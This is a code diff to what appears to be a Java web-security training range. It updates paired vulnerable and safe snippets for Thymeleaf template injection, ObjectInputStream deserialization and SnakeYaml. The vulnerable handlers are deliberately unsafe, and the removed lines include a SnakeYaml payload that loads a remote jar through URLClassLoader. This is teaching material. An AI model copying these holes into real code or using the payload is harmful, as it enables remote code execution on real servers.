@@ -2409,15 +2409,17 @@ const spelSafe = "public R safe(String ex) {\n" +
24092409 "}\n"
24102410
24112411const sstiVul = "public String vul1(@RequestParam String para, Model model) {\n" +
2412- " // 用户输入直接拼接到模板路径,可能导致SSTI(服务器端模板注入)漏洞 \n" +
2412+ " // 用户输入直接拼接到模板路径,Thymeleaf 会对视图名中的 __${...}__ 做预处理 \n" +
24132413 " return \"vul/ssti/\" + para;\n" +
24142414 "}\n" +
24152415 "\n" +
2416- "public void vul2(@PathVariable String path) {\n" +
2416+ "public String vul2(@PathVariable String path) {\n" +
2417+ " // URL 路径变量直接拼接到模板路径,同样会触发 Thymeleaf 视图名预处理\n" +
24172418 " log.info(\"SSTI注入:\"+path);\n" +
2419+ " return \"vul/ssti/\" + path;\n" +
24182420 "}\n" +
24192421 "\n" +
2420- "\t // 缺陷组件版本参考\n" +
2422+ "// 缺陷组件版本参考\n" +
24212423 "<parent>\n" +
24222424 " <groupId>org.springframework.boot</groupId>\n" +
24232425 " <artifactId>spring-boot-starter-parent</artifactId>\n" +
@@ -2434,57 +2436,54 @@ const sstiVul = "public String vul1(@RequestParam String para, Model model) {\n"
24342436const sstiSafe = "public String safe1(String para, Model model) {\n" +
24352437 " List<String> white_list = new ArrayList<>(Arrays.asList(\"vul\", \"ssti\"));\n" +
24362438 " if (white_list.contains(para)){\n" +
2437- " return \"vul/ssti\" + para;\n" +
2439+ " return \"vul/ssti/ \" + para;\n" +
24382440 " } else{\n" +
24392441 " return \"common/401\";\n" +
24402442 " }\n" +
24412443 "}\n" +
24422444 "@GetMapping(\"/safe2/{path}\")\n" +
2443- "public void safe2(@PathVariable String path, HttpServletResponse response) {\n" +
2445+ "public void safe2(@PathVariable String path, HttpServletResponse response) throws IOException {\n" +
24442446 " log.info(\"SSTI注入:\"+path);\n" +
2447+ " response.setContentType(\"text/plain;charset=UTF-8\");\n" +
2448+ " response.getWriter().write(\"已跳过视图解析,输入路径:\" + path);\n" +
24452449 "}"
24462450
24472451const vulReadObject = "public R vul(String payload) {\n" +
24482452 " try {\n" +
2449- " payload = payload.replace(\" \", \"+\");\n" +
2450- " byte[] bytes = Base64.getDecoder().decode(payload);\n" +
2451- " ByteArrayInputStream stream = new ByteArrayInputStream(bytes);\n" +
2452- " java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);\n" +
2453- " in.readObject();\n" +
2454- " in.close();\n" +
2455- " return R.ok(\"[+]Java反序列化:ObjectInputStream.readObject()\");\n" +
2453+ " byte[] bytes = decodePayload(payload);\n" +
2454+ " Object obj;\n" +
2455+ " try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {\n" +
2456+ " obj = in.readObject();\n" +
2457+ " }\n" +
2458+ " return R.ok(\"[+]Java反序列化:\" + obj);\n" +
24562459 " } catch (Exception e) {\n" +
24572460 " return R.error(\"[-]请输入正确的Payload!\\n\"+e.getMessage());\n" +
24582461 " }\n" +
2459- "}"
2462+ "}"
24602463const safeReadObject1 = "public R safe1(String payload) {\n" +
2461- " // 安全措施:禁用不安全的反序列化 \n" +
2464+ " // 禁用 Commons Collections 不安全反序列化开关 \n" +
24622465 " System.setProperty(\"org.apache.commons.collections.enableUnsafeSerialization\", \"false\");\n" +
24632466 " try {\n" +
2464- " payload = payload.replace(\" \", \"+\");\n" +
2465- " byte[] bytes = Base64.getDecoder().decode(payload);\n" +
2466- " ByteArrayInputStream stream = new ByteArrayInputStream(bytes);\n" +
2467- " java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);\n" +
2468- " in.readObject();\n" +
2469- " in.close();\n" +
2470- " return R.ok(\"[+]Java反序列化:ObjectInputStream.readObject()\");\n" +
2467+ " byte[] bytes = decodePayload(payload);\n" +
2468+ " try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {\n" +
2469+ " in.readObject();\n" +
2470+ " }\n" +
2471+ " return R.ok(\"[+]Java反序列化:禁用Commons Collections不安全反序列化开关\");\n" +
24712472 " } catch (Exception e) {\n" +
24722473 " return R.error(\"[-]请输入正确的Payload!\\n\"+e.getMessage());\n" +
24732474 " }\n" +
24742475 "}"
24752476const safeReadObject2 = "public R safe2(String payload) {\n" +
24762477 " try {\n" +
2477- " payload = payload.replace(\" \", \"+\");\n" +
2478- " byte[] bytes = Base64.getDecoder().decode(payload);\n" +
2479- " ByteArrayInputStream stream = new ByteArrayInputStream(bytes);\n" +
2478+ " byte[] bytes = decodePayload(payload);\n" +
24802479 " // 创建 ValidatingObjectInputStream 对象\n" +
2481- " ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream); \n" +
2482- " // 设置拒绝反序列化的类 \n" +
2483- " ois.reject(java.lang.Runtime .class);\n" +
2484- " ois.reject(java.lang.ProcessBuilder.class); \n" +
2485- " // 只允许反序列化Sqli类 \n" +
2486- " ois.accept(Sqli.class );\n" +
2487- " ois.readObject(); \n" +
2480+ " try ( ValidatingObjectInputStream ois = new ValidatingObjectInputStream(new ByteArrayInputStream(bytes))) { \n" +
2481+ " ois.reject(java.lang.Runtime.class); \n" +
2482+ " ois.reject(java.lang.ProcessBuilder .class);\n" +
2483+ " // 只允许反序列化Sqli类 \n" +
2484+ " ois.accept(Sqli.class); \n" +
2485+ " ois.readObject( );\n" +
2486+ " } \n" +
24882487 " return R.ok(\"[+]Java反序列化:ObjectInputStream.readObject()\");\n" +
24892488 " } catch (Exception e) {\n" +
24902489 " return R.error(\"[-]请输入正确的Payload!\\n\"+e.getMessage());\n" +
@@ -2493,22 +2492,25 @@ const safeReadObject2 = "public R safe2(String payload) {\n" +
24932492const safeReadObject3 = "safeReadObject3"
24942493
24952494const vulSnakeYaml = "public R vul(String payload) {\n" +
2495+ " if (payload == null || payload.trim().isEmpty()) {\n" +
2496+ " return R.error(\"Payload不能为空\");\n" +
2497+ " }\n" +
24962498 " Yaml y = new Yaml();\n" +
2497- " y.load(payload);\n" +
2498- " return R.ok(\"[+]Java反序列化:SnakeYaml\" );\n" +
2499+ " Object result = y.load(payload);\n" +
2500+ " return R.ok(\"[+]Java反序列化:SnakeYaml原生漏洞,解析结果:\" + result );\n" +
24992501 "}\n" +
25002502 "\n" +
25012503 "// payload示例\n" +
2502- "payload=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:7777/yaml-payload.jar']]]] \n"
2504+ "payload=!!top.whgojp.modules.sqli.entity.Sqli {id: 1, username: test, password: pass} \n"
25032505const safeSnakeYaml = "public R safe(String payload) {\n" +
25042506 " try {\n" +
25052507 " Yaml y = new Yaml(new SafeConstructor());\n" +
2506- " y.load(payload);\n" +
2507- " return R.ok(\"[+]Java反序列化:SnakeYaml安全构造\" );\n" +
2508+ " Object result = y.load(payload);\n" +
2509+ " return R.ok(\"[+]Java反序列化:SnakeYaml安全构造,解析结果:\" + result );\n" +
25082510 " } catch (Exception e) {\n" +
2509- " return R.error(\"[-]Java反序列化:SnakeYaml反序列化失败\" );\n" +
2511+ " return R.error(\"[-]Java反序列化:SnakeYaml反序列化失败:\" + e.getMessage() );\n" +
25102512 " }\n" +
2511- "}"
2513+ "}"
25122514
25132515const vulXmlDecoder = 'public R vul(String payload) {\n' +
25142516 ' String[] strCmd = payload.split(" ");\n' +
0 commit comments